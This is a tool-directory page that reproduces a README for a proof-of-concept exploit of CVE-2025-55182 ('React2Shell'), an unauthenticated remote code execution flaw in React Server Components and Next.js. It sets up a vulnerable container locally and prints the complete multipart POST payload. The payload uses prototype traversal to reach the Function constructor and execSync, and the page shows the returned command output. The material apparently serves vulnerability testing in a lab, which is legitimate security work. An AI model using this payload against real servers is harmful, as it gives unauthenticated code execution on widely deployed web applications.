Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182 — CVE-2025-55182 — React2Shell | Kitploit
Tools/GitHubGitHub/ryosukedtomita/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubryosukedtomita/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 — React2Shell

View Repository
5 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 — React2Shell

NOLICENSE

INDEX

  • ABOUT
  • ENVIRONMENT
  • HOW TO USE

ABOUT

CVE-2025-55182 ("React2Shell") is an unauthenticated RCE vulnerability (CVSS 10.0) in the Flight protocol deserializer of React Server Components.

Vulnerability Overview

The reviveModel function in React's Flight protocol client does not validate object keys with hasOwnProperty, allowing an attacker to traverse the prototype chain (__proto__ → constructor → Function constructor) and execute arbitrary JavaScript.

Since deserialization occurs before authentication via a single multipart POST request with the header, the attack can be carried out without authentication.

Download Tool
Next-Action

Affected Versions

ComponentVulnerable VersionsFixed Version
React19.0.0 – 19.2.019.2.1
Next.js≤ 16.0.616.0.7

ENVIRONMENT

Structure

root@kitploit:~
CVE-2025-55182/
├── flake.nix          # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py             # Exploit script
└── target/            # Vulnerable Next.js app
    ├── Containerfile  # For podman build
    ├── package.json   # [email protected] / [email protected]
    ├── next.config.ts
    ├── tsconfig.json
    └── app/
        ├── layout.tsx
        └── page.tsx

Dependencies

  • Nix — Reproducible development environment
  • podman — Container runtime
  • Python 3 + requests — PoC execution

HOW TO USE

1. Start Development Shell

root@kitploit:~
nix develop

2. Build Container

root@kitploit:~
podman build -t cve-2025-55182 target/

3. Start Vulnerable Server

root@kitploit:~
podman run -d -p 3000:3000 --name vuln cve-2025-55182

4. Run Exploit

root@kitploit:~
python poc.py http://localhost:3000 "id"

The command output is returned in the digest field of the JSON response.

root@kitploit:~
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)

5. Check Side Effects

root@kitploit:~
# File write
python poc.py http://localhost:3000 "touch /tmp/pwned"

# Verify inside container
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # this also works

Verifying with Burp Suite

Assuming Burp is running on localhost:8080

root@kitploit:~
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2

--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"

"$@0"
--19a7dba25a68483f4234c90a07a425a2--

6. Cleanup

root@kitploit:~
podman stop vuln && podman rm vuln